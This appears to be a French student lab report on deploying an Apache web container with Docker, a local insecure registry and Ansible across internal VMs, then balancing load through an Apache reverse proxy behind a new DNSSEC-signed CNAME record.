FROM httpd:latest MAINTAINER NourClara COPY ./index.html /usr/local/apache2/htdocs/ CMD [ "httpd", "-D", "FOREGROUND" ]
Le fichier index.html
dans lequel se trouve le contenu du site web doit se trouver dans le même répertoire que le dockerfile
.
Construction et lancement de l'image docker
docker build -t webserver .
On aurait pu mettre girolle au lieu de webserver par exemple.
docker run -d webserver
On vérifie que l'image est construite et lancée correctement avec les commandes docker images
et docker ps -a
.
Dépôt docker local
Sur chassiron
, on installe un dépôt local qui accueillera notre image docker.
docker run -d -p 5000:5000 --restart always --name registry registry:2
Rôle registry
:
-
tasks
qui contient unmain.yml
- name: Setup registry docker_container: name: registry image: registry ports: - "5000:5000"
Autorisation d'un dépôt non sécurisé
Par défaut, la connexion se fait en HTTPS. Comme ici les différents dépôts ne sont pas sécurisés, on doit autoriser la connexion en HTTP. Pour cela, on ajoute un fichier deamon.json sur nos deux machines dans /etc/docker/
:
{ "insecure-registries" : ["192.168.42.2:5000", "192.168.42.4:5000", "192.168.42.5:5000", "192.168.42.7:5000", "192.168.42.9:5000", "192.168.42.12:5000"] }
Puis service docker restart
pour que le changement soit pris en compte.
Exportation depuis capbreton
vers la VM sur chassiron
docker tag webserver 192.168.42.7:5000/webserver docker push 192.168.42.7:5000/webserver
Récupération de l'image docker dans chassiron
docker pull 192.168.42.7:5000/webserver
Configuration des serveurs internes
Pour déployer notre conteneur web automatiquement sur toutes les VM de chassiron
on crée un nouveau rôle. On utilise le port qui nous est alloué : le 8087.
Rôle deployer
:
-
tasks
contenant unmain.yml
- name : deployer sur les VMs docker_container: name: site image: 192.168.42.7:5000/webserver ports: - "8087:80"
image
: là où se trouve notre serveur web à déployer (sur notre VM sur chassiron
)
Ensuite dans le playbook on crée une seconde partie avec pour hôte webinterne
:
Playbook complet first_play.yml
:
--- - name: Premiere playbook hosts: self roles: - basic - geerlingguy.docker - registry vars: docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg" docker_apt_repository: "deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }" - name: Deploiement hosts: webinterne roles: - deployer
Dans notre VM sur capbreton
on peut alors lancer le playbook (après que le push et le pull aient été fait sans erreur).
ansible-playbook first_play.yml
Notre conteneur web s'est déployé correctement sur les VM des groupes 4 et 5. Les autres Vm n'ont pas tous les packages nécessaires (docker ou docker-py) ou ne sont pas joignables.
Équilibreur de charge (load balancer)
On met en place un second serveur Web qui se comporte comme un serveur mandataire inverse (reverse proxy) et comme un équilibreur de charge (load balancer).
Activation des module pour le mandataire inverse
Pour utiliser Apache2 mandataire inverse, on doit activer les modules proxy
(permet l’implémentation d’un serveur mandataire/passerelle) et proxy_http
(permet des requêtes HTTP et HTTPS au module proxy) :
a2enmod proxy proxy_http service apache2 restart
Mise en place du VirtualHost
Dans /etc/apache2/sites-available
on crée un nouveau fichier de configuration reverse.conf/code> pour le second serveur web.
Pour mettre en place l'équilibrage de charge, on définie les machines que l'on souhaite et on leur associe un ordre. Ici, à chaque appel ou rechargement de la page <code>reverse.girolle.site
la route s'incrémente et change de machine.
<VirtualHost *:80> ServerName reverse.girolle.site ServerAdmin webmaster@localhost <Proxy "balancer://myloadbalance"> BalancerMember "http://192.168.42.2:8087" route=1 BalancerMember "http://192.168.42.4:8087" route=2 BalancerMember "http://192.168.42.5:8087" route=3 BalancerMember "http://192.168.42.7:8087" route=4 BalancerMember "http://192.168.42.9:8087" route=5 BalancerMember "http://192.168.42.12:8087" route=6 ProxySet lbmethod=byrequests </Proxy> ProxyPass "/" "balancer://myloadbalance/" ProxyPassReverse "/" "balancer://myloadbalance/" </VirtualHost> # vim: syntax=apache ts=4 sw=4 sts=4 sr noet
On l'active avec les commandes suivantes :
a2ensite reverse.conf service apache2 reload
Pour l'équilibrage de charge on doit parfois activer en plus le module lbmethod_byrequests
avec la commande a2enmod lbmethod_byrequests
.
Enregistrement de type CNAME dans notre DNS
Sur capbreton
dans /etc/bind/db.girolle.site
on ajoute un deuxième CNAME :
; ; BIND data file for local loopback interface ; $TTL 604800 @ IN SOA ns1.girolle.site. postmaster.girolle.site. ( 6 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; @ IN NS ns1.girolle.site. @ IN NS ns6.gandi.net. ns1 IN A 193.48.57.182 @ IN MX 100 ns1.girolle.site. www IN CNAME ns1 reverse IN CNAME www $include /etc/bind/girolle_dnssec/girolle.site-ksk.key $include /etc/bind/girolle_dnssec/girolle.site-zsk.key
On signe de nouveau les enregistrement de la zone avec les commandes :
dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk bind9 restart
Pour constater la mise en place de l'équilibrage, on peut appeler la page reverse.girolle.site
dans un navigateur. Elle affiche de contenu d'index.html
. Si l'on crée une nouvelle version du contenu de la page en modifiant index.html
sans activer la mise à jour sur les autres machines de chassiron
, après un push/pull, seule notre VM aura la nouvelle version. En rechargeant plusieurs fois la page dans un navigateur on voit alors successivement la nouvelle et les anciennes versions.